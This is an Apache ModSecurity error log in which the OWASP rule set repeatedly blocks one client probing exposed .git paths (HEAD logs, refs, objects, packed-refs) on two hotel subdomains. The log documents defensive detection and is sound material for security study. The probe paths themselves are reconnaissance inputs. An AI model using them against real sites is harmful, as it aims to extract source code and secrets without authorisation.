[Mon Oct 26 08:36:23.807606 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "at9JR03DiqOFJPXX6P43qQAAABM"]
[Mon Oct 26 08:36:23.807814 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/logs/HEAD"] [unique_id "at9JR3hYESb98d-GXViKnwAAAAs"]
[Mon Oct 26 08:36:23.807828 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "at9JR03DiqOFJPXX6P43qQAAABM"]
[Mon Oct 26 08:36:23.808755 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "at9JR5_dbg3ptBnwDgQ5IQAAAAM"]
[Mon Oct 26 08:36:23.808833 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/objects"] [unique_id "at9JRwsj78QLlrBrm-447AAAAAc"]
[Mon Oct 26 08:36:23.808919 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "at9JR5_dbg3ptBnwDgQ5IQAAAAM"]
[Mon Oct 26 08:36:23.809017 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/objects"] [unique_id "at9JRwsj78QLlrBrm-447AAAAAc"]
[Mon Oct 26 08:36:23.809180 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/main"] [unique_id "at9JR5_dbg3ptBnwDgQ5IQAAAAM"]
[Mon Oct 26 08:36:23.809230 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/objects"] [unique_id "at9JRwsj78QLlrBrm-447AAAAAc"]
[Mon Oct 26 08:36:23.883058 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/info"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/objects/info"] [unique_id "at9JRxA_yAFS6UHz-l1VSAAAAA0"]
[Mon Oct 26 08:36:23.883242 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/objects/info"] [unique_id "at9JRxA_yAFS6UHz-l1VSAAAAA0"]
[Mon Oct 26 08:36:23.883491 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/objects/info"] [unique_id "at9JRxA_yAFS6UHz-l1VSAAAAA0"]
[Mon Oct 26 08:36:23.884225 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "at9JR3T09R7Np-FQ85dj2wAAAAo"]
[Mon Oct 26 08:36:23.884396 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "at9JR3T09R7Np-FQ85dj2wAAAAo"]
[Mon Oct 26 08:36:23.884629 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/main"] [unique_id "at9JR3T09R7Np-FQ85dj2wAAAAo"]
[Mon Oct 26 08:36:23.885647 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/heads/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "at9JR3tuNRyqJbUWH7Jv8gAAAAQ"]
[Mon Oct 26 08:36:23.885790 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "at9JR3tuNRyqJbUWH7Jv8gAAAAQ"]
[Mon Oct 26 08:36:23.886048 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/logs/refs/heads/master"] [unique_id "at9JR3tuNRyqJbUWH7Jv8gAAAAQ"]
[Mon Oct 26 08:36:23.886205 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/pack"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/objects/pack"] [unique_id "at9JRw9c_Zz9LocrxF9ergAAAAU"]
[Mon Oct 26 08:36:23.886340 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/objects/pack"] [unique_id "at9JRw9c_Zz9LocrxF9ergAAAAU"]
[Mon Oct 26 08:36:23.886577 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/objects/pack"] [unique_id "at9JRw9c_Zz9LocrxF9ergAAAAU"]
[Mon Oct 26 08:36:23.890296 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/packed-refs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/packed-refs"] [unique_id "at9JR03DiqOFJPXX6P43qgAAABM"]
[Mon Oct 26 08:36:23.890342 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/refs/remotes/origin/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "at9JR3hYESb98d-GXViKoAAAAAs"]
[Mon Oct 26 08:36:23.890423 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/packed-refs"] [unique_id "at9JR03DiqOFJPXX6P43qgAAABM"]
[Mon Oct 26 08:36:23.890466 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "at9JR3hYESb98d-GXViKoAAAAAs"]
[Mon Oct 26 08:36:23.890666 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/packed-refs"] [unique_id "at9JR03DiqOFJPXX6P43qgAAABM"]
[Mon Oct 26 08:36:23.890668 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/logs/refs/remotes/origin/master"] [unique_id "at9JR3hYESb98d-GXViKoAAAAAs"]
[Mon Oct 26 08:36:23.891748 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/objects"] [unique_id "at9JR5_dbg3ptBnwDgQ5IgAAAAM"]
[Mon Oct 26 08:36:23.891906 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/objects"] [unique_id "at9JR5_dbg3ptBnwDgQ5IgAAAAM"]
[Mon Oct 26 08:36:23.892114 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/objects"] [unique_id "at9JR5_dbg3ptBnwDgQ5IgAAAAM"]
[Mon Oct 26 08:36:23.893028 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/main"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/refs/heads/main"] [unique_id "at9JRwsj78QLlrBrm-447QAAAAc"]
[Mon Oct 26 08:36:23.893147 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/refs/heads/main"] [unique_id "at9JRwsj78QLlrBrm-447QAAAAc"]
[Mon Oct 26 08:36:23.893353 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/refs/heads/main"] [unique_id "at9JRwsj78QLlrBrm-447QAAAAc"]
[Mon Oct 26 08:36:23.961423 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/refs/heads/master"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/refs/heads/master"] [unique_id "at9JRxA_yAFS6UHz-l1VSQAAAA0"]
[Mon Oct 26 08:36:23.962091 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/refs/heads/master"] [unique_id "at9JRxA_yAFS6UHz-l1VSQAAAA0"]
[Mon Oct 26 08:36:23.962978 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/refs/heads/master"] [unique_id "at9JRxA_yAFS6UHz-l1VSQAAAA0"]
[Mon Oct 26 08:36:23.966111 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/objects/info"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/objects/info"] [unique_id "at9JR3T09R7Np-FQ85dj3AAAAAo"]
[Mon Oct 26 08:36:23.966282 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/objects/info"] [unique_id "at9JR3T09R7Np-FQ85dj3AAAAAo"]
